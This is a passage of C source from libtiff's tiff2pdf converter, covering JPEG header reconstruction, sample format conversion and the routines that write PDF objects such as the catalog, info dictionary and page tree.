if(proc==JPEGPROC_BASELINE){ if(table_count>2) table_count=2; } ojpegdata=(unsigned char*)t2p->pdf_ojpegdata; ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xd8; ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; if(proc==JPEGPROC_BASELINE){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xc0; } else { ojpegdata[t2p->pdf_ojpegdatalength++]=0xc3; } ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=(8 + 3*t2p->tiff_samplesperpixel); ojpegdata[t2p->pdf_ojpegdatalength++]=(t2p->tiff_bitspersample & 0xff); if(TIFFIsTiled(input)){ ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength ) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth ) & 0xff; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_length >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_length ) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_width >> 8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= (t2p->tiff_width ) & 0xff; } ojpegdata[t2p->pdf_ojpegdatalength++]=(t2p->tiff_samplesperpixel & 0xff); for(i=0;i<t2p->tiff_samplesperpixel;i++){ ojpegdata[t2p->pdf_ojpegdatalength++]=i; if(i==0){ ojpegdata[t2p->pdf_ojpegdatalength] |= h_samp<<4 & 0xf0;; ojpegdata[t2p->pdf_ojpegdatalength++] |= v_samp & 0x0f; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= 0x11; } ojpegdata[t2p->pdf_ojpegdatalength++]=i; } for(dest=0;dest<t2p->tiff_samplesperpixel;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xdb; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=0x43; ojpegdata[t2p->pdf_ojpegdatalength++]=dest; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength++]), &(((unsigned char*)q)[64*dest]), 64); t2p->pdf_ojpegdatalength+=64; } offset_table=0; for(dest=0;dest<table_count;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xc4; offset_ms_l=t2p->pdf_ojpegdatalength; t2p->pdf_ojpegdatalength+=2; ojpegdata[t2p->pdf_ojpegdatalength++]=dest & 0x0f; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)dc)[offset_table]), 16); code_count=0; offset_table+=16; for(i=0;i<16;i++){ code_count+=ojpegdata[t2p->pdf_ojpegdatalength++]; } ojpegdata[offset_ms_l]=((19+code_count)>>8) & 0xff; ojpegdata[offset_ms_l+1]=(19+code_count) & 0xff; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)dc)[offset_table]), code_count); offset_table+=code_count; t2p->pdf_ojpegdatalength+=code_count; } if(proc==JPEGPROC_BASELINE){ offset_table=0; for(dest=0;dest<table_count;dest++){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xc4; offset_ms_l=t2p->pdf_ojpegdatalength; t2p->pdf_ojpegdatalength+=2; ojpegdata[t2p->pdf_ojpegdatalength] |= 0x10; ojpegdata[t2p->pdf_ojpegdatalength++] |=dest & 0x0f; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)ac)[offset_table]), 16); code_count=0; offset_table+=16; for(i=0;i<16;i++){ code_count+=ojpegdata[t2p->pdf_ojpegdatalength++]; } ojpegdata[offset_ms_l]=((19+code_count)>>8) & 0xff; ojpegdata[offset_ms_l+1]=(19+code_count) & 0xff; _TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), &(((unsigned char*)ac)[offset_table]), code_count); offset_table+=code_count; t2p->pdf_ojpegdatalength+=code_count; } } if(TIFFNumberOfStrips(input)>1){ ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xdd; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=0x04; h_samp*=8; v_samp*=8; ri=(t2p->tiff_width+h_samp-1) / h_samp; TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows); ri*=(rows+v_samp-1)/v_samp; ojpegdata[t2p->pdf_ojpegdatalength++]= (ri>>8) & 0xff; ojpegdata[t2p->pdf_ojpegdatalength++]= ri & 0xff; } ojpegdata[t2p->pdf_ojpegdatalength++]=0xff; ojpegdata[t2p->pdf_ojpegdatalength++]=0xda; ojpegdata[t2p->pdf_ojpegdatalength++]=0x00; ojpegdata[t2p->pdf_ojpegdatalength++]=(6 + 2*t2p->tiff_samplesperpixel); ojpegdata[t2p->pdf_ojpegdatalength++]=t2p->tiff_samplesperpixel & 0xff; for(i=0;i<t2p->tiff_samplesperpixel;i++){ ojpegdata[t2p->pdf_ojpegdatalength++]= i & 0xff; if(proc==JPEGPROC_BASELINE){ ojpegdata[t2p->pdf_ojpegdatalength] |= ( ( (i>(table_count-1U)) ? (table_count-1U) : i) << 4U) & 0xf0; ojpegdata[t2p->pdf_ojpegdatalength++] |= ( (i>(table_count-1U)) ? (table_count-1U) : i) & 0x0f; } else { ojpegdata[t2p->pdf_ojpegdatalength++] = (i << 4) & 0xf0; } } if(proc==JPEGPROC_BASELINE){ t2p->pdf_ojpegdatalength++; ojpegdata[t2p->pdf_ojpegdatalength++]=0x3f; t2p->pdf_ojpegdatalength++; } else { ojpegdata[t2p->pdf_ojpegdatalength++]= (lp[0] & 0xff); t2p->pdf_ojpegdatalength++; ojpegdata[t2p->pdf_ojpegdatalength++]= (pt[0] & 0x0f); } return(1); } #endif #ifdef JPEG_SUPPORT int t2p_process_jpeg_strip( unsigned char* strip, tsize_t* striplength, unsigned char* buffer, tsize_t buffersize, tsize_t* bufferoffset, tstrip_t no, uint32 height){ tsize_t i=0; while (i < *striplength) { tsize_t datalen; uint16 ri; uint16 v_samp; uint16 h_samp; int j; int ncomp; /* marker header: one or more FFs */ if (strip[i] != 0xff) return(0); i++; while (i < *striplength && strip[i] == 0xff) i++; if (i >= *striplength) return(0); /* SOI is the only pre-SOS marker without a length word */ if (strip[i] == 0xd8) datalen = 0; else { if ((*striplength - i) <= 2) return(0); datalen = (strip[i+1] << 8) | strip[i+2]; if (datalen < 2 || datalen >= (*striplength - i)) return(0); } switch( strip[i] ){ case 0xd8: /* SOI - start of image */ if( *bufferoffset + 2 > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), 2); *bufferoffset+=2; break; case 0xc0: /* SOF0 */ case 0xc1: /* SOF1 */ case 0xc3: /* SOF3 */ case 0xc9: /* SOF9 */ case 0xca: /* SOF10 */ if(no==0){ if( *bufferoffset + datalen + 2 + 6 > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); if( *bufferoffset + 9 >= buffersize ) return(0); ncomp = buffer[*bufferoffset+9]; if (ncomp < 1 || ncomp > 4) return(0); v_samp=1; h_samp=1; if( *bufferoffset + 11 + 3*(ncomp-1) >= buffersize ) return(0); for(j=0;j<ncomp;j++){ uint16 samp = buffer[*bufferoffset+11+(3*j)]; if( (samp>>4) > h_samp) h_samp = (samp>>4); if( (samp & 0x0f) > v_samp) v_samp = (samp & 0x0f); } v_samp*=8; h_samp*=8; ri=((( ((uint16)(buffer[*bufferoffset+5])<<8) | (uint16)(buffer[*bufferoffset+6]) )+v_samp-1)/ v_samp); ri*=((( ((uint16)(buffer[*bufferoffset+7])<<8) | (uint16)(buffer[*bufferoffset+8]) )+h_samp-1)/ h_samp); buffer[*bufferoffset+5]= (unsigned char) ((height>>8) & 0xff); buffer[*bufferoffset+6]= (unsigned char) (height & 0xff); *bufferoffset+=datalen+2; /* insert a DRI marker */ buffer[(*bufferoffset)++]=0xff; buffer[(*bufferoffset)++]=0xdd; buffer[(*bufferoffset)++]=0x00; buffer[(*bufferoffset)++]=0x04; buffer[(*bufferoffset)++]=(ri >> 8) & 0xff; buffer[(*bufferoffset)++]= ri & 0xff; } break; case 0xc4: /* DHT */ case 0xdb: /* DQT */ if( *bufferoffset + datalen + 2 > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); *bufferoffset+=datalen+2; break; case 0xda: /* SOS */ if(no==0){ if( *bufferoffset + datalen + 2 > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), datalen+2); *bufferoffset+=datalen+2; } else { if( *bufferoffset + 2 > buffersize ) return(0); buffer[(*bufferoffset)++]=0xff; buffer[(*bufferoffset)++]= (unsigned char)(0xd0 | ((no-1)%8)); } i += datalen + 1; /* copy remainder of strip */ if( *bufferoffset + *striplength - i > buffersize ) return(0); _TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i]), *striplength - i); *bufferoffset+= *striplength - i; return(1); default: /* ignore any other marker */ break; } i += datalen + 1; } /* failed to find SOS marker */ return(0); } #endif /* This functions converts a tilewidth x tilelength buffer of samples into an edgetilewidth x tilelength buffer of samples. */ void t2p_tile_collapse_left( tdata_t buffer, tsize_t scanwidth, uint32 tilewidth, uint32 edgetilewidth, uint32 tilelength){ uint32 i; tsize_t edgescanwidth=0; edgescanwidth = (scanwidth * edgetilewidth + (tilewidth - 1))/ tilewidth; for(i=0;i<tilelength;i++){ _TIFFmemcpy( &(((char*)buffer)[edgescanwidth*i]), &(((char*)buffer)[scanwidth*i]), edgescanwidth); } return; } /* * This function calls TIFFWriteDirectory on the output after blanking its * output by replacing the read, write, and seek procedures with empty * implementations, then it replaces the original implementations. */ void t2p_write_advance_directory(T2P* t2p, TIFF* output) { t2p_disable(output); if(!TIFFWriteDirectory(output)){ TIFFError(TIFF2PDF_MODULE, "Error writing virtual directory to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p_enable(output); return; } tsize_t t2p_sample_planar_separate_to_contig( T2P* t2p, unsigned char* buffer, unsigned char* samplebuffer, tsize_t samplebuffersize){ tsize_t stride=0; tsize_t i=0; tsize_t j=0; stride=samplebuffersize/t2p->tiff_samplesperpixel; for(i=0;i<stride;i++){ for(j=0;j<t2p->tiff_samplesperpixel;j++){ buffer[i*t2p->tiff_samplesperpixel + j] = samplebuffer[i + j*stride]; } } return(samplebuffersize); } tsize_t t2p_sample_realize_palette(T2P* t2p, unsigned char* buffer){ uint32 sample_count=0; uint16 component_count=0; uint32 palette_offset=0; uint32 sample_offset=0; uint32 i=0; uint32 j=0; sample_count=t2p->tiff_width*t2p->tiff_length; component_count=t2p->tiff_samplesperpixel; for(i=sample_count;i>0;i--){ palette_offset=buffer[i-1] * component_count; sample_offset= (i-1) * component_count; for(j=0;j<component_count;j++){ buffer[sample_offset+j]=t2p->pdf_palette[palette_offset+j]; } } return(0); } /* This functions converts in place a buffer of ABGR interleaved data into RGB interleaved data, discarding A. */ tsize_t t2p_sample_abgr_to_rgb(tdata_t data, uint32 samplecount) { uint32 i=0; uint32 sample=0; for(i=0;i<samplecount;i++){ sample=((uint32*)data)[i]; ((char*)data)[i*3]= (char) (sample & 0xff); ((char*)data)[i*3+1]= (char) ((sample>>8) & 0xff); ((char*)data)[i*3+2]= (char) ((sample>>16) & 0xff); } return(i*3); } /* * This functions converts in place a buffer of RGBA interleaved data * into RGB interleaved data, discarding A. */ tsize_t t2p_sample_rgbaa_to_rgb(tdata_t data, uint32 samplecount) { uint32 i; for(i = 0; i < samplecount; i++) memcpy((uint8*)data + i * 3, (uint8*)data + i * 4, 3); return(i * 3); } /* * This functions converts in place a buffer of RGBA interleaved data * into RGB interleaved data, adding 255-A to each component sample. */ tsize_t t2p_sample_rgba_to_rgb(tdata_t data, uint32 samplecount) { uint32 i = 0; uint32 sample = 0; uint8 alpha = 0; for (i = 0; i < samplecount; i++) { sample=((uint32*)data)[i]; alpha=(uint8)((255 - ((sample >> 24) & 0xff))); ((uint8 *)data)[i * 3] = (uint8) ((sample >> 16) & 0xff) + alpha; ((uint8 *)data)[i * 3 + 1] = (uint8) ((sample >> 8) & 0xff) + alpha; ((uint8 *)data)[i * 3 + 2] = (uint8) (sample & 0xff) + alpha; } return (i * 3); } /* This function converts the a and b samples of Lab data from signed to unsigned. */ tsize_t t2p_sample_lab_signed_to_unsigned(tdata_t buffer, uint32 samplecount){ uint32 i=0; for(i=0;i<samplecount;i++){ if( (((unsigned char*)buffer)[(i*3)+1] & 0x80) !=0){ ((unsigned char*)buffer)[(i*3)+1] = (unsigned char)(0x80 + ((char*)buffer)[(i*3)+1]); } else { ((unsigned char*)buffer)[(i*3)+1] |= 0x80; } if( (((unsigned char*)buffer)[(i*3)+2] & 0x80) !=0){ ((unsigned char*)buffer)[(i*3)+2] = (unsigned char)(0x80 + ((char*)buffer)[(i*3)+2]); } else { ((unsigned char*)buffer)[(i*3)+2] |= 0x80; } } return(samplecount*3); } /* This function writes the PDF header to output. */ tsize_t t2p_write_pdf_header(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[16]; int buflen=0; buflen = snprintf(buffer, sizeof(buffer), "%%PDF-%u.%u ", t2p->pdf_majorversion&0xff, t2p->pdf_minorversion&0xff); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t)"\n%\342\343\317\323\n", 7); return(written); } /* This function writes the beginning of a PDF object to output. */ tsize_t t2p_write_pdf_obj_start(uint32 number, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)number); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen ); written += t2pWriteFile(output, (tdata_t) " 0 obj\n", 7); return(written); } /* This function writes the end of a PDF object to output. */ tsize_t t2p_write_pdf_obj_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "endobj\n", 7); return(written); } /* This function writes a PDF name object to output. */ tsize_t t2p_write_pdf_name(unsigned char* name, TIFF* output){ tsize_t written=0; uint32 i=0; char buffer[64]; uint16 nextchar=0; size_t namelen=0; namelen = strlen((char *)name); if (namelen>126) { namelen=126; } written += t2pWriteFile(output, (tdata_t) "/", 1); for (i=0;i<namelen;i++){ if ( ((unsigned char)name[i]) < 0x21){ snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); nextchar=1; } if ( ((unsigned char)name[i]) > 0x7E){ snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); nextchar=1; } if (nextchar==0){ switch (name[i]){ case 0x23: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x25: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x28: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x29: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x2F: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x3C: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x3E: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x5B: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x5D: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x7B: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; case 0x7D: snprintf(buffer, sizeof(buffer), "#%.2X", name[i]); buffer[sizeof(buffer) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) buffer, 3); break; default: written += t2pWriteFile(output, (tdata_t) &name[i], 1); } } nextchar=0; } written += t2pWriteFile(output, (tdata_t) " ", 1); return(written); } /* * This function writes a PDF string object to output. */ tsize_t t2p_write_pdf_string(char* pdfstr, TIFF* output) { tsize_t written = 0; uint32 i = 0; char buffer[64]; size_t len = 0; len = strlen(pdfstr); written += t2pWriteFile(output, (tdata_t) "(", 1); for (i=0; i<len; i++) { if((pdfstr[i]&0x80) || (pdfstr[i]==127) || (pdfstr[i]<32)){ snprintf(buffer, sizeof(buffer), "\\%.3o", ((unsigned char)pdfstr[i])); written += t2pWriteFile(output, (tdata_t)buffer, 4); } else { switch (pdfstr[i]){ case 0x08: written += t2pWriteFile(output, (tdata_t) "\\b", 2); break; case 0x09: written += t2pWriteFile(output, (tdata_t) "\\t", 2); break; case 0x0A: written += t2pWriteFile(output, (tdata_t) "\\n", 2); break; case 0x0C: written += t2pWriteFile(output, (tdata_t) "\\f", 2); break; case 0x0D: written += t2pWriteFile(output, (tdata_t) "\\r", 2); break; case 0x28: written += t2pWriteFile(output, (tdata_t) "\\(", 2); break; case 0x29: written += t2pWriteFile(output, (tdata_t) "\\)", 2); break; case 0x5C: written += t2pWriteFile(output, (tdata_t) "\\\\", 2); break; default: written += t2pWriteFile(output, (tdata_t) &pdfstr[i], 1); } } } written += t2pWriteFile(output, (tdata_t) ") ", 1); return(written); } /* This function writes a buffer of data to output. */ tsize_t t2p_write_pdf_stream(tdata_t buffer, tsize_t len, TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) buffer, len); return(written); } /* This functions writes the beginning of a PDF stream to output. */ tsize_t t2p_write_pdf_stream_start(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "stream\n", 7); return(written); } /* This function writes the end of a PDF stream to output. */ tsize_t t2p_write_pdf_stream_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "\nendstream\n", 11); return(written); } /* This function writes a stream dictionary for a PDF stream to output. */ tsize_t t2p_write_pdf_stream_dict(tsize_t len, uint32 number, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "/Length ", 8); if(len!=0){ written += t2p_write_pdf_stream_length(len, output); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)number); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); } return(written); } /* This functions writes the beginning of a PDF stream dictionary to output. */ tsize_t t2p_write_pdf_stream_dict_start(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) "<< \n", 4); return(written); } /* This function writes the end of a PDF stream dictionary to output. */ tsize_t t2p_write_pdf_stream_dict_end(TIFF* output){ tsize_t written=0; written += t2pWriteFile(output, (tdata_t) " >>\n", 4); return(written); } /* This function writes a number to output. */ tsize_t t2p_write_pdf_stream_length(tsize_t len, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)len); check_snprintf_ret((T2P*)NULL, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n", 1); return(written); } /* * This function writes the PDF Catalog structure to output. */ tsize_t t2p_write_pdf_catalog(T2P* t2p, TIFF* output) { tsize_t written = 0; char buffer[32]; int buflen = 0; written += t2pWriteFile(output, (tdata_t)"<< \n/Type /Catalog \n/Pages ", 27); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_pages); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, TIFFmin((size_t)buflen, sizeof(buffer) - 1)); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); if(t2p->pdf_fitwindow){ written += t2pWriteFile(output, (tdata_t) "/ViewerPreferences <</FitWindow true>>\n", 39); } written += t2pWriteFile(output, (tdata_t)">>\n", 3); return(written); } /* This function writes the PDF Info structure to output. */ tsize_t t2p_write_pdf_info(T2P* t2p, TIFF* input, TIFF* output) { tsize_t written = 0; char* info; char buffer[512]; if(t2p->pdf_datetime[0] == '\0') t2p_pdf_tifftime(t2p, input); if (strlen(t2p->pdf_datetime) > 0) { written += t2pWriteFile(output, (tdata_t) "<< \n/CreationDate ", 18); written += t2p_write_pdf_string(t2p->pdf_datetime, output); written += t2pWriteFile(output, (tdata_t) "\n/ModDate ", 10); written += t2p_write_pdf_string(t2p->pdf_datetime, output); } written += t2pWriteFile(output, (tdata_t) "\n/Producer ", 11); snprintf(buffer, sizeof(buffer), "libtiff / tiff2pdf - %d", TIFFLIB_VERSION); written += t2p_write_pdf_string(buffer, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); if (t2p->pdf_creator[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Creator ", 9); written += t2p_write_pdf_string(t2p->pdf_creator, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_SOFTWARE, &info) != 0 && info) { if(strlen(info) >= sizeof(t2p->pdf_creator)) info[sizeof(t2p->pdf_creator) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Creator ", 9); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_author[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Author ", 8); written += t2p_write_pdf_string(t2p->pdf_author, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if ((TIFFGetField(input, TIFFTAG_ARTIST, &info) != 0 || TIFFGetField(input, TIFFTAG_COPYRIGHT, &info) != 0) && info) { if (strlen(info) >= sizeof(t2p->pdf_author)) info[sizeof(t2p->pdf_author) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Author ", 8); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_title[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Title ", 7); written += t2p_write_pdf_string(t2p->pdf_title, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_DOCUMENTNAME, &info) != 0){ if(strlen(info) > 511) { info[512] = '\0'; } written += t2pWriteFile(output, (tdata_t) "/Title ", 7); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_subject[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Subject ", 9); written += t2p_write_pdf_string(t2p->pdf_subject, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } else { if (TIFFGetField(input, TIFFTAG_IMAGEDESCRIPTION, &info) != 0 && info) { if (strlen(info) >= sizeof(t2p->pdf_subject)) info[sizeof(t2p->pdf_subject) - 1] = '\0'; written += t2pWriteFile(output, (tdata_t) "/Subject ", 9); written += t2p_write_pdf_string(info, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } } if (t2p->pdf_keywords[0] != '\0') { written += t2pWriteFile(output, (tdata_t) "/Keywords ", 10); written += t2p_write_pdf_string(t2p->pdf_keywords, output); written += t2pWriteFile(output, (tdata_t) "\n", 1); } written += t2pWriteFile(output, (tdata_t) ">> \n", 4); return(written); } /* * This function fills a string of a T2P struct with the current time as a PDF * date string, it is called by t2p_pdf_tifftime. */ void t2p_pdf_currenttime(T2P* t2p) { struct tm* currenttime; time_t timenow; if (time(&timenow) == (time_t) -1) { TIFFError(TIFF2PDF_MODULE, "Can't get the current time: %s", strerror(errno)); timenow = (time_t) 0; } currenttime = localtime(&timenow); snprintf(t2p->pdf_datetime, sizeof(t2p->pdf_datetime), "D:%.4d%.2d%.2d%.2d%.2d%.2d", (currenttime->tm_year + 1900) % 65536, (currenttime->tm_mon + 1) % 256, (currenttime->tm_mday) % 256, (currenttime->tm_hour) % 256, (currenttime->tm_min) % 256, (currenttime->tm_sec) % 256); return; } /* * This function fills a string of a T2P struct with the date and time of a * TIFF file if it exists or the current time as a PDF date string. */ void t2p_pdf_tifftime(T2P* t2p, TIFF* input) { char* datetime; if (TIFFGetField(input, TIFFTAG_DATETIME, &datetime) != 0 && (strlen(datetime) >= 19) ){ t2p->pdf_datetime[0]='D'; t2p->pdf_datetime[1]=':'; t2p->pdf_datetime[2]=datetime[0]; t2p->pdf_datetime[3]=datetime[1]; t2p->pdf_datetime[4]=datetime[2]; t2p->pdf_datetime[5]=datetime[3]; t2p->pdf_datetime[6]=datetime[5]; t2p->pdf_datetime[7]=datetime[6]; t2p->pdf_datetime[8]=datetime[8]; t2p->pdf_datetime[9]=datetime[9]; t2p->pdf_datetime[10]=datetime[11]; t2p->pdf_datetime[11]=datetime[12]; t2p->pdf_datetime[12]=datetime[14]; t2p->pdf_datetime[13]=datetime[15]; t2p->pdf_datetime[14]=datetime[17]; t2p->pdf_datetime[15]=datetime[18]; t2p->pdf_datetime[16] = '\0'; } else { t2p_pdf_currenttime(t2p); } return; } /* * This function writes a PDF Pages Tree structure to output. */ tsize_t t2p_write_pdf_pages(T2P* t2p, TIFF* output) { tsize_t written=0; tdir_t i=0; char buffer[32]; int buflen=0; int page=0; written += t2pWriteFile(output, (tdata_t) "<< \n/Type /Pages \n/Kids [ ", 26); page = t2p->pdf_pages+1; for (i=0;i<t2p->tiff_pagecount;i++){ buflen=snprintf(buffer, sizeof(buffer), "%d", page); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); if ( ((i+1)%8)==0 ) { written += t2pWriteFile(output, (tdata_t) "\n", 1); } page +=3; page += t2p->tiff_pages[i].page_extra; if(t2p->tiff_pages[i].page_tilecount>0){ page += (2 * t2p->tiff_pages[i].page_tilecount); } else { page +=2; } } written += t2pWriteFile(output, (tdata_t) "] \n/Count ", 10); buflen=snprintf(buffer, sizeof(buffer), "%d", t2p->tiff_pagecount); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " \n>> \n", 6); return(written); } /* This function writes a PDF Page structure to output. */ tsize_t t2p_write_pdf_page(uint32 object, T2P* t2p, TIFF* output){ unsigned int i=0; tsize_t written=0; char buffer[256]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "<<\n/Type /Page \n/Parent ", 24); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_pages); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); written += t2pWriteFile(output, (tdata_t) "/MediaBox [", 11); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.x1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.y1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.x2); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.y2); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "] \n", 3); written += t2pWriteFile(output, (tdata_t) "/Contents ", 10); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); written += t2pWriteFile(output, (tdata_t) "/Resources << \n", 15); if( t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount != 0 ){ written += t2pWriteFile(output, (tdata_t) "/XObject <<\n", 12); 